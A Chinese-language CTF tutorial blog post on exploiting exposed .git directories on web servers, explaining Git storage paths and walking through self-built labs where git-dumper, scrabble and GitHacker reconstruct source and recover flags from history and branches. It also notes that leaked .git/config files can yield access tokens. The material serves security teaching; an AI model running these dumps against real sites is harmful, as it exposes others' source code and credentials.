【第二天 - Git 泄漏】

Q1. Git 是什麽?

  • Git 是一个分散式版本控管软件,每个开发者手中都会有完整的一份副本,包含过去的修改纪录,相较於集中式的版本控管软件,可以避免版本控管服务器的损坏导致资料遗失。
  • 而网路上的 GitHub、 GitLab 等网站,他们都不等於 Git,而是基於 Git 架设服务器,建立 Git Remote Repository 的云端代管服务,开发者可以将 Git Remote Repository 存放一份在网站上,利於与其他开发者同步,并额外提供了 Issue tracking、Pull Request、 CI/CD 等强大功能。

Git 教学文:https://backlog.com/git-tutorial/tw/intro/intro1_1.html

Git 结构:https://www.gushiciku.cn/pl/pErO/zh-tw

Git 游戏:https://learngitbranching.js.org/?locale=zh_TW

商业 Git flow:https://gitbook.tw/chapters/gitflow/why-need-git-flow.html

Q2. 为什麽会有 Git 泄漏?

  • 许多工程师在撰写程序时,会使用 Git 来做版本控管,在使用 Git 的时候,目录底下会产生一个 .git 的隐藏档案,里面就是 git repository,会储存程序的修改、新增、删除等纪录。
  • 若工程师直接将含有 .git 目录的专案放到网页服务器的公开目录,骇客便有可能下载 .git 中的资料,利用 git 的机制将原始码重建。
  • 因此当工程师开发完成时,可能有两个方法发布较为妥当:
    • 额外将网页程序码制作一个副本 (不含 .git),再发布到网页服务器。
    • 直接将含 git 目录的专案放到网页服务器,但同时做好网页的权限控管,也就是当你浏览 /.git 底下的全部内容时,会回传 403。
  • 假如工程师在测试登入功能时,将 admin 的帐密纪录在程序的注解中,并使用 git 纪录到历史版本中,当工程师不小心上传 .git,并且没有做权限控管,那麽骇客就能从泄漏的 .git 目录中拿到帐密。
  • 此外,因为 .git 泄漏是已知且普遍的问题,有众多工具可以协助骇客下载 .git 目录并重建原始码,只要网页不小心将 .git 上传,那就有许多人可以将网页的 .git 下载下来,反倒甚至出现针对这种工具漏洞的攻击:
    • 攻击者会构建恶意的 .git 目录,故意将其中的一些资料路径修改,例如将文件路径加上很多 ../../../ ,一旦重建工具没有检查路径,重构资料就可以随意覆盖到你的正常档案。
    • https://drivertom.blogspot.com/2021/08/git.html

Q3. Git 的还原工具

Q4. Git 储存资料的位置

  • 由於 git 版本不断更新,有些资料、目录位置、内容可能也会改变,我把一些目前蒐集到的资讯汇整

  • 一般来说,只要网址/.git 可以看到东西,基本上就能将程序还原,但是有时候网址输入 /.git 会出现 403 (「无权」访问指定的URL而非 「档案不存在」,代表 .git 目录可能是存在的,你可以尝试 /.git/config,看他有没有挡),或是用其他方式拿到 .git 的资料,例如下载 (参考资料)

  • 网址/.git/logs/HEAD 储存 git 的 log,可以找到历史 commit

  • 网址/.git/refs/heads/master 会记录 master 的 commit hash,可以分解出该 commit 的资料

  • 网址/.git/refs/heads 底下会放所有分支的名字资料夹

  • 网址/.git/refs/stash 用於暂时保存 git 工作进度,可以把做到一半的东西先藏起来(stash),不要 commit 出去

    • git stash list 显示 stash 内的所有内容
    • git stash pop 把刚刚做到一半存在 stash 的资料还原
  • 网址/.git/info/packs packs 的件提取与恢复 (比较少考)

  • 网址/.git/index 会储存 git add 的资料

  • 参考资料:https://www.jianshu.com/p/0ea09975169d

  • 参考资料: https://www.gushiciku.cn/pl/pErO/zh-tw

Q5. Git 泄漏类型

  • 我们将 Git 泄漏分成为下列几种 ( 我们会将需要根据你的条件输入的资料,使用 <描述> 做表示,真正输入指令时,不需要将打 <> )
    1. 一般 git 泄漏:他们将资料储存於 .git 中,可以透过下列步骤找到资料
      • ./scrabble <有 .git 泄漏的网址>
        • 使用 scrabble 工具将 .git 还原
      • ls -al
        • 列出目前目录底下有哪些资料,会看到 dump 出来的资料,可能会有 flag.txt 的档案
      • cat <你找到的 flag 档案>
    2. git 回溯:git 功能是做版本控制,所以会将程序不断进行修改、commit,所以可能 flag 档案在某个时间被创建出来,但是下一个版本将 flag 档案进行删除、覆盖,此时,我们可以使用 git 的 指令回溯 (可以看 Lab 1 实作)
      • 重复一般泄漏 1 的流程,你将会拿到 git 最新版本的资料, flag.txt 里面可能没有我们要的正确 flag
      • git reset --hard HEAD^
        • HEAD 为目前版本,而 HEAD^ 为跳到上一个版本
        • HEAD^数字,代表跳几个版本,例如 HEAD^2
      • ls -al
        • 回到上一个版本的情况,检视目录底下有哪些资料,可能会看见过去还没被删除/修改的 flag.txt
      • cat <找到的 flag 档案>
      • 补充:可以使用下列指令
        • git log --stat
          • 相对於 git log,可以看到该 commit 修改了哪些档案
        • git log --all
          • 把会关联到的东西都显示
        • git diff HEAD <commit 的 id>
          • 比较当前版本跟想看的 commit 之间的差异
        • git branch -v
          • 印出有哪些分支,还有全部分支的 commit
    3. git 分支:git 一开始会有一个 master 的主线,可能随着开发,分出很多分支 ( 可以参考 Git flow 的介绍 ),flag 可能不会藏在 master 中,而是藏在某个分支中,所以我们要切换分支才能找到 flag,目前大多数的 git 还原工具,不支援分支,GitHacker 有支援,所以使用此工具 (可以看 Lab 2 实作)
      • githacker —-url <网址/.git> —folder <git还原出来的档案储存位置>
        • 在这里可以看到其他分支,可能叫做 dev
      • cd <储存位置>
      • git checkout <会看到分支名字>
        • 切到该分支
      • cat <档案>
        • 查看可能藏资料的档案
    4. 其他 Git 的泄漏利用
      • ./git/config 可能会有 access_token 的资讯,可以利用此资讯 access 这个使用者的其他仓库

Lab 0. git dumper 实作示范:

# 下载 git dumper 工具
git clone https://github.com/arthaud/git-dumper
# 切进下载的目录
cd git-dumper/
# 将 requirements.txt 修改权限
chmod 755 requirements.txt
# 安装 git dummper 需要的资料
pip install -r requirements.txt

# 使用 git-dumper 还原网站的 .git  
./git-dumper.py <目标网址/.git> <还原 git 後,要储存的地方>

# 先切到刚刚储存的地方
cd <刚刚储存的地方>
# 查看有什麽档案,可以 cat 资料
ls -al
# 查看 LOG 纪录,假设找到 add flag (这是 commit 的资讯,非新增 flag 这个档案) 的节点,记住 07fd.....ee55
git log

https://ithelp.ithome.com.tw/upload/images/20210918/20140592KwkkN3zED8.png

# git 推回这个 07fd.....ee55 节点
git checkout 07fd3f193ca3e23fdd27383bd398e6957e82ee55

https://ithelp.ithome.com.tw/upload/images/20210916/20140592L4prDE5oRe.png

# 检查 log 纪录,看是否有推回到 add flag 的节点上
git log
# 查看目录底下有哪些资料,找 flag
ls -al

Lab 1 题目环境制作

Server OS: Ubuntu Server 20.04.3

  1. 安装 Web Server:此处使用 Apache

    sudo apt install apache2
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592rerwJiZYyz.png

  1. 建立 Git Repository:此处建立於 /var/www/html/git_1

    REPO="/var/www/html/git_1"
    
    # Create the folder
    sudo mkdir "${REPO}"
    
    # Enter the folder
    cd "${REPO}"
    
    # Take the ownership
    sudo chown -R "$(whoami)" . 
    
    # Initialize Git Repo
    git init
    

https://ithelp.ithome.com.tw/upload/images/20210916/201405920gc7DRytYO.png

  1. 储存 flag

    echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
    git add index.php
    git commit -m "Store Secret Flag"
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592FtcX40Lolq.png

  1. 将 flag 改掉

    echo "You cannot see my secret now!" > index.php
    git add index.php
    git commit -m "Delete Secret Flag"
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592y393KK9kVF.png

https://ithelp.ithome.com.tw/upload/images/20210916/20140592PwsYjcX4t9.png

Lab 1 解题

此处使用 Denny 大大制作的 scrabble 工具

# Download Tool
git clone https://github.com/denny0223/scrabble.git

# Create Output Folder
mkdir dump && cd dump

# Dump
../scrabble/scrabble http://172.16.28.2/git_1

https://ithelp.ithome.com.tw/upload/images/20210916/20140592LhDoKgZo7h.png
查看哪个 commit 修改过储存 flag 的档案

git log --stat

https://ithelp.ithome.com.tw/upload/images/20210918/201405920my7yEWHzr.png
查看修改的内容

git diff HEAD bbfc3a

https://ithelp.ithome.com.tw/upload/images/20210916/20140592HRfnl6yIgX.png

Lab 2 题目环境制作

  1. 建立 Git Repository:此处建立於 /var/www/html/git_2

    REPO="/var/www/html/git_2"
    
    # Create the folder
    sudo mkdir "${REPO}"
    
    # Enter the folder
    cd "${REPO}"
    
    # Take the ownership
    sudo chown -R "$(whoami)" . 
    
    # Initialize Git Repo
    git init
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592QyYtjWGH92.png
2. 建立初始 Commit

    echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > flag.php
    git add flag.php
    git commit -m "Store Secret Flag"

https://ithelp.ithome.com.tw/upload/images/20210916/201405929ZSMTi2kdC.png
3. 储存 flag 到 dev 分支

    # Create and checkout to branch dev
    git checkout -b dev

    # Store flag
    echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
    git add index.php
    git commit -m "Store Secret Flag"

https://ithelp.ithome.com.tw/upload/images/20210916/20140592F9D8GRWAXa.png
4. 切换回 master 分支,此时 index.php 中没有东西

    git checkout master
    cat index.php

https://ithelp.ithome.com.tw/upload/images/20210916/201405928mSHO0xOj5.png

Lab 2 解题

安装 GitHacker

# Create virutal environment
python3 -m venv

# Enter venv
source venv/bin/activate

# Install GitHacker
pip install GitHacker

https://ithelp.ithome.com.tw/upload/images/20210916/20140592JN13WjbJ44.png
Dump

githacker --url http://172.16.28.2/git_2/.git/ --folder result

https://ithelp.ithome.com.tw/upload/images/20210916/20140592cupNW14gYD.png
切换到 dev,拿到 flag

cd result
git checkout dev
cat index.php

https://ithelp.ithome.com.tw/upload/images/20210916/20140592fflDFDt9vQ.png


<<:  [Day01 - 简介] 成为一位孤独型玩家,从乱点技能开始

>>:  [第01天]理财达人Mx. Ada-环境准备

[Day 27] - Gatsby feat. EC ( 上 )

这边的 EC 指的是 Electronic Commerce,也就是所谓的电子商务,我们将用一到两章...

RWD

1. RWD设计模式 https://developers.google.com/web/funda...

[面试][後端]设计 API 时会考虑哪些点?

你设计的 API 除了跑的动以外,它安全稳定吗? 既然 Junoir 跟 Senior 的後端工程...

计算API所需要的参数: Hash ID

看着规格书,所需要的参数还蛮多的 今天就先用 Python 来求算 Hash ID! 依据官方的说明...

Day 14 资料表之间的关联栏位

One2one: 一对一关系,格式为: fields.One2one(关联物件 Name, 字段显示...